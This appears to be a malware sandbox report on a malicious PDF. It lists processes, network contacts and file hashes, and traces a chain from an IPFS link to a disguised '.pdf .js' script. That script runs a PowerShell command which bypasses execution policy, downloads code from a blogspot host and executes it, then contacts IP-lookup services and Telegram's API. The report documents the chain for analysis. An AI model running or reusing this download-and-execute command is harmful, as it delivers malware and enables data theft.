N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A

Suspicious use of SendNotifyMessage

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A
N/A	N/A	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of WriteProcessMemory

Processes

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\08270f88cc3fd413d6eb29852599e9599362da87b8ba2b29196f3f1f76baf1fc.pdf"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cloudflare-ipfs.com/ipfs/QmXZjX2ePjYHyAtntZoAW7heeNXZ9SR2N8gE83Md6sCHah

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffff6446f8,0x7fffff644708,0x7fffff644718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:8

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4644 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5092 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5748 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5812 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5828 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4056 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6092 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3976 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6008 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cloudflare-ipfs.com/ipfs/QmXZjX2ePjYHyAtntZoAW7heeNXZ9SR2N8gE83Md6sCHah

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2024 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2976 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5200 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6036 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1728 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3428 /prefetch:8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6476 /prefetch:1

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Davis_Michael_Tax_2023.pdf .js"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm minemaincap6-1-24.blogspot.com////////////////hohoiii) | . iex;Start-Sleep -Seconds 3;

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe

dw20.exe -x -s 780

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe

dw20.exe -x -s 784

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe

dw20.exe -x -s 776

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe

dw20.exe -x -s 780

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,1486578325655128414,9266883999346177916,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6372 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	58.55.71.13.in-addr.arpa	udp
US	8.8.8.8:53	144.107.17.2.in-addr.arpa	udp
US	8.8.8.8:53	g.bing.com	udp
US	204.79.197.237:443	g.bing.com	tcp
US	8.8.8.8:53	146.177.190.20.in-addr.arpa	udp
NL	23.62.61.185:443	www.bing.com	tcp
US	8.8.8.8:53	237.197.79.204.in-addr.arpa	udp
US	8.8.8.8:53	185.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	cloudflare-ipfs.com	udp
US	104.17.64.14:443	cloudflare-ipfs.com	tcp
US	8.8.8.8:53	apps.identrust.com	udp
US	8.8.8.8:53	14.64.17.104.in-addr.arpa	udp
BE	23.14.90.91:80	apps.identrust.com	tcp
US	8.8.8.8:53	ipfs.io	udp
US	209.94.90.1:443	ipfs.io	tcp
US	8.8.8.8:53	cdnjs.cloudflare.com	udp
US	104.17.24.14:443	cdnjs.cloudflare.com	tcp
US	8.8.8.8:53	ipfs.tech	udp
NL	84.17.46.49:443	ipfs.tech	tcp
US	8.8.8.8:53	91.90.14.23.in-addr.arpa	udp
US	8.8.8.8:53	1.90.94.209.in-addr.arpa	udp
US	8.8.8.8:53	14.24.17.104.in-addr.arpa	udp
US	8.8.8.8:53	49.46.17.84.in-addr.arpa	udp
N/A	224.0.0.251:5353		udp
US	8.8.8.8:53	232.168.11.51.in-addr.arpa	udp
US	8.8.8.8:53	securefilepro.com	udp
US	184.171.140.213:443	securefilepro.com	tcp
US	184.171.140.213:443	securefilepro.com	tcp
US	184.171.140.213:443	securefilepro.com	tcp
US	184.171.140.213:443	securefilepro.com	tcp
US	184.171.140.213:443	securefilepro.com	tcp
US	8.8.8.8:53	213.140.171.184.in-addr.arpa	udp
US	8.8.8.8:53	74.204.58.216.in-addr.arpa	udp
US	8.8.8.8:53	99.201.58.216.in-addr.arpa	udp
US	8.8.8.8:53	26.165.165.52.in-addr.arpa	udp
US	8.8.8.8:53	198.187.3.20.in-addr.arpa	udp
US	8.8.8.8:53	31.251.17.2.in-addr.arpa	udp
US	8.8.8.8:53	45.19.74.20.in-addr.arpa	udp
US	8.8.8.8:53	22.236.111.52.in-addr.arpa	udp
US	8.8.8.8:53	minemaincap6-1-24.blogspot.com	udp
GB	142.250.200.1:80	minemaincap6-1-24.blogspot.com	tcp
GB	142.250.200.1:443	minemaincap6-1-24.blogspot.com	tcp
US	8.8.8.8:53	bitbucket.org	udp
AU	104.192.141.1:443	bitbucket.org	tcp
US	8.8.8.8:53	1.200.250.142.in-addr.arpa	udp
US	8.8.8.8:53	1.141.192.104.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	204.79.197.200:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	api.ipify.org	udp
US	104.26.12.205:443	api.ipify.org	tcp
US	8.8.8.8:53	ip-api.com	udp
US	208.95.112.1:80	ip-api.com	tcp
US	8.8.8.8:53	205.12.26.104.in-addr.arpa	udp
US	8.8.8.8:53	1.112.95.208.in-addr.arpa	udp
US	8.8.8.8:53	api.telegram.org	udp
NL	149.154.167.220:443	api.telegram.org	tcp
US	8.8.8.8:53	220.167.154.149.in-addr.arpa	udp
US	8.8.8.8:53	104.116.69.13.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5	4158365912175436289496136e7912c2
SHA1	813d11f772b1cfe9ceac2bf37f4f741e5e8fbe59
SHA256	354de4b033ba6e4d85f94d91230cb8501f62e0a4e302cd4076c7e0ad73bedbd1
SHA512	74b4f7b24ad4ea395f3a4cd8dbfae54f112a7c87bce3d286ee5161f6b63d62dfa19bb0d96bb7ed1c6d925f5697a2580c25023d5052c6a09992e6fd9dd49ea82b

\??\pipe\LOCAL\crashpad_4968_ZXGJALZKJEWVOIPI

MD5	d41d8cd98f00b204e9800998ecf8427e
SHA1	da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256	e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512	cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5	ce4c898f8fc7601e2fbc252fdadb5115
SHA1	01bf06badc5da353e539c7c07527d30dccc55a91
SHA256	bce2dfaa91f0d44e977e0f79c60e64954a7b9dc828b0e30fbaa67dbe82f750aa
SHA512	80fff4c722c8d3e69ec4f09510779b7e3518ae60725d2d36903e606a27ec1eaedbdbfac5b662bf2c19194c572ccf0125445f22a907b329ad256e6c00b9cf032c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5	12715f59606a1842f9112bec6f8c147f
SHA1	9939c0d2ec4fec8fa9f2ee6f95eea304281a4220
SHA256	9fc68f2a34b287586aca3dec5400182079b4f138028faa4776cfbdc0555f9290
SHA512	4ea87d08e81cb9c8a4fa5ba65a41d609d838dcbf41d61440ef5fbcc57e5676b7fe8c3fd10d738710f1a406883500c373434ed1d81a50848570045c9b2b09c6dd

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5	206702161f94c5cd39fadd03f4014d98
SHA1	bd8bfc144fb5326d21bd1531523d9fb50e1b600a
SHA256	1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
SHA512	0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5	46295cac801e5d4857d09837238a6394
SHA1	44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256	0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512	8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5	6e8f01396a0c3fa6a0019f66c13d70d9
SHA1	c6d4fb4e6723faa333df558bfcc7051f7efff199
SHA256	76e47bde4d3eea09e6de54fc443b99f13e6441c401fbc154ddf46f5176c85fa2
SHA512	98f24cf484b05c485ccd60a41867bfb4bb0e9b006aac7b5b7f593c8cdd714dd9bad9de3553fe6a51aecc1830b3e7f47e6e75a18b9369b5a0af815e19aed6c152

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5	c552d40bba46b998f143e85ff771289f
SHA1	ef630d57234e91d05d7bf76229df30e384e55b9e
SHA256	91f8bb2a2686f11d5563a087a23bb82b91365df0a0320dd48e570b6adf981da0
SHA512	c51e8fc7b4afec06629ecbab2d58cddb48c6b8dfde5fff777983c4ba83a2f6c83baa94d78f27a95a656218913b8785905237c3e8b67e99b20df74b5f2dd18fda

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5	575d25cdcf1a3b92f4db9383ea656ce9
SHA1	849c203cca9041e2d22937e71967f0807ea45f77
SHA256	b20435550171300d194ca93a844e5e977444f1b71b9f10dddb8460cc70767b15
SHA512	4dc83112b4d1d8bd1dc1dd4a5d5f82bdee0595f1a9b4cb106a5b3032f3cee5c5b046b5fd9ef8cbe3b7419c81e916d63e8e169a90f097f1071bfbf8d41f036d44

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5	d4239f1948f11892fac29e394bbdb30e
SHA1	970039eb10264a4e7950700787fa85ac05a8f231
SHA256	15595e14438fe2e25e5c08a6bed7acd2cbfd80ae343978198288645d9a82f5b2
SHA512	121e0ecf55af84cd822982051bd859ade71121f1ad22a50897c7fb0334f45868221023aa2c197acd693d5b989e7ca8db13f32910f10511b6a54f4465eb1d052e

C:\Users\Admin\Downloads\Unconfirmed 966272.crdownload

MD5	7070ca6439643b6bdd9998ffcaf5e390
SHA1	01987a536765f668def31b8e41ed1aa4897e278a
SHA256	a3054801122e49be728fde70f5183580e3e99b699e7bb17a03b425d9993e69a6
SHA512	aeb5707a6c0267b5c11489d25034997a7a3f25fe12fb9942e97096582038404a91ebe81abd48925a1a2e93024ec95b787e1747d545f5c3f23789316fe3ef3a39

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5	438a87a48ad7a9427d7372903fdeaf1e
SHA1	90937b3e5ca88f712a72027c478a5bc37156e095
SHA256	c4b3741c1b1baaeb3e74c689325f2cdf7d0918615ed012accd680f71f5a8911f
SHA512	23e442987668c521217a2eca3803ae3e0667eb19a81f7b3cfe4dc93c977ddd02403d6af4b2d6691aefbc7e65495e631ab0441e78baf1f71e3f234238b9b40250

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58849c.TMP

MD5	a4d9ec83061a20605f0027ace8804205
SHA1	9108a584dbf0f3035c22f4eeb47751e5e02fad7b
SHA256	a9e2c6cd6ba7565043496fd791068116a392195c94fd0f672b4a99e71f106536
SHA512	552c6be906db3f74fc4fbb16544a25f46839affb4c99ca3d259659bae5ed655f0005ed5b21b741bbcb9756bf280923c81eb30ee4a6daca96e23bd18b20cb2043

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4a55bdb9-3b8c-4bce-987b-3b55c899ef5d.tmp

MD5	863597791d642fd15d189bd8b6709958
SHA1	26c2ea1263b8a4da5fa1190128dcd72f7bbfbdda
SHA256	eca787b2f974e76da2be99dc33f66d55f8cba6f57b85e9d5c49c454ab07f4bb2
SHA512	bb4f136a68f0c86dc9cafd1f1b871b6853aeee10e982c9e909947317aa6c7ef493e4c399b65d92aee44d3e997e67f364cd9adfd4ce0bab274f3132cfcde3db48

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5	a8ec39047de8f3ded84f87b26ecae151
SHA1	9cfb61eeb5a6c5cf95e8c84a82c43ae922e1f717
SHA256	d1a4a2c9e0b77a008e14c0080dbacbd8284bbe8be9d254c4226e575f8950c8b8
SHA512	2b136b908202d3b79c59ad2bc877464ace07aa0d1134889ada5f46fa88e636a66ee7285668c0fac55fd3703166e4b70db779c3be2c0694ff5b2fc3732223e96e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5	d8ec8e16929ee1377498b8a046bfae90
SHA1	7b30efce64e8b44270d0c1bd784046eaa1332d5e
SHA256	98a40f84d410581c5231d2d468cf199690c1d7bc2748c9dbca3233ea543fad4c
SHA512	bf3b6c25152f1b1baa3eb653abdf3765d8f744bc43b9c0d7a4ddd030c19013b7a577a2c2caf64492cfe38f3cd5d5e4ea58d9038b81b4013843ea0d6acdaa9a4d

memory/4060-218-0x000001D2D5E80000-0x000001D2D5EA2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jts41rgd.1ew.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
